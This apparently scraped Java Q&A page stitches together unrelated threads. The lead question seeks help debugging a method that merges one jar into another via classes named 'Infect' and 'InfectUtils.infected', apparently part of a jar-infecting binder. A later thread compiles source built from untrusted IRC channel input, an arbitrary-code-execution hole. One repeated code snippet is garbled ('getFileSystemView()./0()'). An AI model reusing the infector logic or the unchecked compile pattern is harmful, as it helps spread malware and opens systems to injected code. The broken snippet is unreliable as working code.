I am trying to copy a jar file into an other jarfile.
so to get them together i unzip both to Infect.BIND_TMP.
After that i go ahead and delete "first" but here Comes the Problem:
I get "false" returned by file.delete();
Did i not Close all streams? I can't find the error... :c
mainFile(); just Returns the MainClass from the MANIFEST.MF jarFile
public static boolean bindJarFiles(File first, File second) {
try {
File tmp_bind = new File(Infect.TMP_BIND);
if (tmp_bind.exists()) {
tmp_bind.delete();
tmp_bind.mkdirs();
} else {
tmp_bind.mkdirs();
}
tmp_bind = null;
ZipFile m = new ZipFile(first);
ZipFile g = new ZipFile(second);
if (InfectUtils.infected(second))
return false;
g.extractAll(Infect.TMP_BIND);
#SuppressWarnings("unchecked")
List<FileHeader> fileHeaders = m.getFileHeaders();
for (FileHeader fileHeader : fileHeaders) {
if (fileHeader.isDirectory() && fileHeader.getFileName().equals(superPackageNameFromFile())) {
g.extractFile(fileHeader, Infect.TMP_BIND);
}
if (fileHeader.isDirectory() && fileHeader.getFileName().equals("META-INF")) {
g.extractFile(fileHeader, Infect.TMP_BIND);
}
}
PrintWriter pw = new PrintWriter(new File(Infect.TMP_BIND_FILES_TXT));
pw.println(mainFile(second));
pw.println("_-$-_" + superPackageNameFromFile());
pw.flush();
pw.close();
// Reset all the open Streams etc
String p = second.getAbsolutePath();
g = null;
if (!second.delete()) {
System.err.println("Cannot delete File!");
}
g = new ZipFile(p);
ZipParameters params = new ZipParameters();
params.setIncludeRootFolder(false);
params.setCompressionMethod(Zip4jConstants.COMP_DEFLATE);
params.setCompressionLevel(Zip4jConstants.DEFLATE_LEVEL_NORMAL);
g.createZipFile(new File(Infect.TMP_BIND), params);
} catch (ZipException | FileNotFoundException e) {
e.printStackTrace();
return false;
}
return true;
}
Related
I have methods to read file and check for extension
//using FileChooser to select folder we want to get photos from
static final File dir = new File("D:\\Pictures\\NatGeoPaper2020\\3\\");
//array of supported extensions
static final String[] EXTENSIONS = new String[]{"jpg", "jpeg", "png"};
//filter to identify images by extensions
static final FilenameFilter IMAGE_FILTER = new FilenameFilter() {
#Override
public boolean accept(final File dir, final String name) {
for (final String ext : EXTENSIONS) {
if (name.endsWith("." + ext)) {
return true;
}
}
return (false);
}
};
In main I invoke those methods - basically read all images and show as slideshow to user.
if (dir.isDirectory()) {
for (final File f : dir.listFiles(IMAGE_FILTER)) {
BufferedImage img = null;
try {
img = ImageIO.read(f);
SPI.INSTANCE.SystemParametersInfo(
new UINT_PTR(SPI.SPI_SETDESKWALLPAPER),
new UINT_PTR(0),
dir + "/" + f.getName(),
new UINT_PTR(SPI.SPIF_UPDATEINIFILE | SPI.SPIF_SENDWININICHANGE));
Thread.sleep(6000);
} catch (final IOException e) {
throw new Error(e);
}
}
}
Now my problem is, how can I "reset" my for loop in main to achieve infinite loop? I just want to change wallpaper every 6 seconds infinitely, withour rerunning a program.
Put a while(true) loop around it.
You can do it as follows:
if (dir.isDirectory()) {
while(true) {
for (final File f : dir.listFiles(IMAGE_FILTER)) {
BufferedImage img = null;
try {
img = ImageIO.read(f);
SPI.INSTANCE.SystemParametersInfo(
new UINT_PTR(SPI.SPI_SETDESKWALLPAPER),
new UINT_PTR(0),
dir + "/" + f.getName(),
new UINT_PTR(SPI.SPIF_UPDATEINIFILE | SPI.SPIF_SENDWININICHANGE));
Thread.sleep(6000);
} catch (final IOException e) {
throw new Error(e);
}
}
}
}
I want to delete one image from the folder when I delete a user from the table with this image. Here is my code:
//first I can the function that finds a path of the image in the folder
public void deleteStudent(String name) {
try {
CallableStatement statement = null;
Connection data = getmyConnection();
statement = data.prepareCall("{call delete_student(?)}");
statement.setString(1, name);
//statement.registerOutParameter(2, java.sql.Types.VARCHAR);
statement.executeQuery();
} catch (Exception c) {
c.printStackTrace();
}
//After I call the function to delete image from directory
deleteImageDerictory(name);
}
This method allows choosing the image from the directory when I get the image I add the path in jTextField1.getText().
//use this method to get the path of my image.
private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {
JFileChooser file = new JFileChooser();
file.setCurrentDirectory(new File(System.getProperty("user.home")));
FileNameExtensionFilter filter = new FileNameExtensionFilter("*.Images", "jpeg", "jpg", "png");
file.addChoosableFileFilter(filter);
int result = file.showSaveDialog(null);
if(result ==JFileChooser.APPROVE_OPTION) {
File selectedFile = file.getSelectedFile();
//GET ABSOLUTE PATH OF PICTURES
jTextField1.setText(selectedFile.getAbsolutePath());
//addPicture.setText(selectedFile.getName());
//GET NAME OF PICTURES
//getPicName = selectedFile.getName();
} else if(result == JFileChooser.CANCEL_OPTION) {
System.out.println("File not found!");
}
}
//I use this method to call another method deleteImageDerictory(jTextField1.getText());
private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {
try{
deleteImageDerictory(jTextField1.getText());
}catch(Exception e) {
e.printStackTrace();
}
}
public void deleteImageDerictory(String name) {
String pictureName = null;
try {
CallableStatement statement = null;
Connection data = getmyConnection();
statement = data.prepareCall("{call get_picture(?)}");
statement.setString(1, name);
//statement.registerOutParameter(2, java.sql.Types.VARCHAR);
myResults = statement.executeQuery();
while (myResults.next()) {
//COPY PATH IN pictureName
pictureName = myResults.getString(1);
}
myResults.close();
} catch (Exception c) {
c.printStackTrace();
}
//DELETE ELEMENT FROM FOLDER
File sourceFile = new File(pictureName);
File file = new File("/Computer/NetBeans IDE 8.2/NewDataBase/src/newdatabase/images/");
images = file.listFiles();
File file2 = new File(file.getAbsolutePath(), sourceFile.getName() );
boolean deleted = file2.delete();
System.out.println(deleted);
}
I just don't know how to delete image from folder when I find it. Any ideas?
You can use the modern and more powerful java.nio.* instead of the old fashioned java.io.File. You just have to create a Path object containing the path to the folder where the images are stored and resolve the file name:
//DELETE ELEMENT FROM FOLDER
Path imagesPath = Paths.get(
"/Computer/NetBeans IDE 8.2/NewDataBase/src/newdatabase/images/" +
pictureName);
try {
Files.delete(imagesPath);
System.out.println("File "
+ imagesPath.toAbsolutePath().toString()
+ " successfully removed");
} catch (IOException e) {
System.err.println("Unable to delete "
+ imagesPath.toAbsolutePath().toString()
+ " due to...");
e.printStackTrace();
}
EDIT due to discussion in comments below:
This is a very simple approach that deletes a file chosen via JFileChooser:
public static void main(String[] args) {
JFileChooser jfc = new JFileChooser(FileSystemView.getFileSystemView().getHomeDirectory());
int result = jfc.showOpenDialog(null);
if (result == JFileChooser.APPROVE_OPTION) {
File selectedFile = jfc.getSelectedFile();
System.out.println("Chosen file: " +
selectedFile.getAbsolutePath() +
" will be deleted!");
Path pathToBeDeleted = Paths.get(selectedFile.getAbsolutePath());
try {
Files.delete(pathToBeDeleted);
} catch (IOException e) {
e.printStackTrace();
}
}
}
I have just tried it myself and it successfully removes the chosen file.
public static void main(String[] args) {
JFileChooser jfc = new JFileChooser(FileSystemView.getFileSystemView()./0());
int result = jfc.showOpenDialog(null);
if (result == JFileChooser.APPROVE_OPTION) {
File selectedFile = jfc.getSelectedFile();
System.out.println("Chosen file: " +
selectedFile.getAbsolutePath() +
" will be deleted!");
Path data= Paths.get(selectedFile.getAbsolutePath());
try {
Files.delete(data);
} catch (Exception e) {
e.printStackTrace();
}
}
}
How to detect excel(xls and xlsx) file is password protected? is there any flag to check?
Note: there are 2 types to give password to the excel(xls/xlsx):
Password protected (excel->save as->Tools->general option )
Password encrypted (excel->File permissin->encrypt)
My code is working for only xls with password encrypted.
xls encrypted-EncryptedDocumentException -pass(proper exception )
xls password protected -IllegalArgumentException-fail(general exception)
xlsx encrypted-POIXMLException-fail(general exception)
xlsx password protected -POIXMLException-fail(general exception)
For above failed cases instead of general exception I want to improve this code.
Jars used:
poi-3.5-FINAL-20090928.jar
poi-3.7-20101029.jar
poi-ooxml-3.7-20101029.jar
public static String excelFileScanner(InputStream excelFileToScan,
String uploadFileExt) throws IOException {
String returnStatus = null;
try {
Workbook wb = null;// WorkbookFactory.create(excelFileToScan);
if (uploadFileExt.equalsIgnoreCase("xlsx")) {
wb = new XSSFWorkbook(excelFileToScan);
} else {
// POIFSFileSystem fs = new POIFSFileSystem(excelFileToScan);
wb = new HSSFWorkbook(excelFileToScan);
}
int noOfSheet = wb.getNumberOfSheets();
for (int i = 0; i < noOfSheet; i++) {
Sheet sheet = wb.getSheetAt(i);
for (Row row : sheet) {
for (Cell cell : row) {
if (cell.getCellType() == Cell.CELL_TYPE_FORMULA) {
return "malicious";
}
}
}
}
returnStatus = "valid";
} catch (POIXMLException ex1) {
// catch (InvalidFormatException ex1) {
returnStatus = ex1.getClass().getSimpleName();
if (ex1 != null && ex1.getCause() != null) {
System.out.println("reason: " + ex1.getCause().toString());
System.out.println("passwordprotected");
} else {
System.out.println("else block: " + ex1);
}
} catch (EncryptedDocumentException ex2) {
returnStatus = "passwordProtected";
} catch (Exception ex) {
returnStatus = ex.getMessage();
}
return returnStatus;
}
public static void main(String[] args) throws IOException {
try {
File folder = new File("/Desktop/Excel/");
File[] listOfFiles = folder.listFiles();
for (File file : listOfFiles) {
if (file.isFile()) {
System.out.println(file.getName());
String uploadFileExt = null;
String filename = file.getName();
int extnSeparatorIndex = filename.lastIndexOf(".");
if (extnSeparatorIndex != -1) {
if (extnSeparatorIndex != file.length() - 1) {
uploadFileExt = filename.substring(extnSeparatorIndex + 1);
}
// String uploadFileExt = file.getAbsolutePath();
InputStream fileUploaded = new FileInputStream(file.getAbsolutePath());
System.out.println("extension: " + uploadFileExt);
String returnStatus= PasswordExcelRead.excelFileScanner(fileUploaded, uploadFileExt);
System.out.println("Final: " + returnStatus);
}
}
}
} catch (FileNotFoundException e) {
e.printStackTrace();
}
}
Normally you would catch EncryptedDocumentException to check whether a file is password protected or not:
InputStream input = ...
Workbook wb;
try {
wb = WorkbookFactory.create(input)
} catch (EncryptedDocumentException e) {
// password protected
}
I have a bot I am creating that can take input from an IRC channel to create new classes for the bot to use when running. However, when it tries to compile the class, it results in an "identifier expected" error at the class name. However, if I type up a class which is identical to that created by the bot using the template, it compiles without issue. Below are the 3 methods used for this process:
//Create basic command
public static int writeBasicCommand(String trigger, String output, boolean edit) {
int success = 0, existenceError = 1, unknownError = 2;
try {
String filePath = "C:/commands/" + trigger + ".java"; //Location for new class
File file = new File(filePath);
//Check if command exists
if (file.exists()) {
if(!edit) {
return existenceError;
}
} else if(edit) {
return existenceError;
}
//Grab and modify template
String template = readFile("C:/template.txt");
String namedCom = template.replace("--COMMANDNAME--", trigger);
String content = namedCom.replace("--COMMANDRESULT--", "\"" + output + "\"");
//Write command
WriteFile(content, file, false);
if (Compile(filePath)==true) {
System.out.println("Done");
return success;
} else {
return unknownError;
}
} catch (IOException e) {
e.printStackTrace();
return unknownError;
}
}
//Compile new commands
public static boolean Compile(String fileToCompile) {
System.setProperty("java.home", "C:\\Program Files\\Java\\jdk1.7.0_11");
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
int compilationResult = compiler.run(null, null, null, fileToCompile);
if(compilationResult == 0) {
System.out.println("Compilation is successful");
return true;
} else {
System.out.println("Compilation Failed");
if ((new File(fileToCompile).exists())) {
new File(fileToCompile).delete();
}
return false;
}
}
//Write to a file
public static boolean WriteFile(String fileContents, File destination, boolean append) {
try {
// if file doesnt exist, then create it
if (!destination.exists()) {
destination.createNewFile();
}
FileWriter fw = new FileWriter(destination.getAbsoluteFile(), append);
BufferedWriter bw = new BufferedWriter(fw);
bw.write(fileContents);
bw.close();
fw.close();
return true;
} catch (IOException e) {
e.printStackTrace();
return false;
}
}
I have created a sequence file out of directory and then given index according to groups I want so that I can create groups using that index. This groups are then given one by one to my customized java class which gives information based on the file present in the group.
My problem is that some time it runs perfectly but some time gives different errors like null pointer exception, data type of field not found.
The problem is may be due to size of group. Because I am creating folder based group and then do the fetches the information from that folder inside my customized jar.
So how can I resolve this issue?
Below is my java class code:
public class OperateDirectory extends EvalFunc<DataBag>{
public TupleFactory tupleFactory = TupleFactory.getInstance();
public BagFactory bagFactory = BagFactory.getInstance();
public DataBag exec(Tuple input) throws IOException{
ArrayList<String> protoTuple = new ArrayList<>();
DataBag dataBag = bagFactory.newDefaultBag();
/* Create Directory */
if(input == null)
return dataBag;
if(input.size() != 2)
return dataBag;
long id = (long)input.get(0);
DataBag infoBag = (DataBag)input.get(1);
Iterator<Tuple> it = infoBag.iterator();
File dir = new File("/tmp/TestFolder"+id);
if(dir.exists())
{
FileUtils.cleanDirectory(dir);
}
else
{
dir.mkdir();
}
while(it.hasNext())
{
Tuple file_details = (Tuple)it.next();
if(file_details != null && file_details.size()==3)
{
String file_name = (String)file_details.get(1);
BytesWritable file_contents = (BytesWritable)file_details.get(2);
File f = new File(dir.getPath()+"/"+file_name);
f.deleteOnExit();
writeToFile(file_contents, f);
}
}
/* Perform operation here */
File f = new File("output"+id+".log");
ProcessBuilder performProcess1 = new ProcessBuilder("processes/processor", dir.getPath(),f.getPath());
Process process1 = performProcess1.start();
try
{
process1.waitFor();
if(f.exists() && f.length()>0)
{
ProcessBuilder performProcess2 = new ProcessBuilder("perl", "scripts/ParseFile.pl", f.getPath());
Process process2 = performProcess2.start();
InputStream is = process2.getInputStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader br = new BufferedReader(isr);
String line;
while ((line = br.readLine()) != null)
{
if(!line.isEmpty())
{
String [] tmpArray = line.split(",");
if(tmpArray.length == 2)
{
protoTuple.clear();
protoTuple.add(tmpArray[0]);
protoTuple.add(tmpArray[1]);
dataBag.add(tupleFactory.newTuple(protoTuple));
}
}
}
}
else
{
protoTuple.clear();
protoTuple.add("Error");
protoTuple.add("File "+f.getPath()+" does not exists ");
dataBag.add(tupleFactory.newTuple(protoTuple));
}
}
catch(Exception e)
{
protoTuple.clear();
protoTuple.add("Error ");
protoTuple.add(e.getMessage());
dataBag.add(tupleFactory.newTuple(protoTuple));
}
try
{
FileUtils.cleanDirectory(dir);
FileUtils.deleteDirectory(dir);
}
catch(Exception e)
{
}
return dataBag;
}
void writeToFile(BytesWritable value, File binaryFile) throws IOException{
FileOutputStream fileOut = new FileOutputStream(binaryFile);
fileOut.write(value.getBytes(), 0, value.getLength());
fileOut.close();
}
}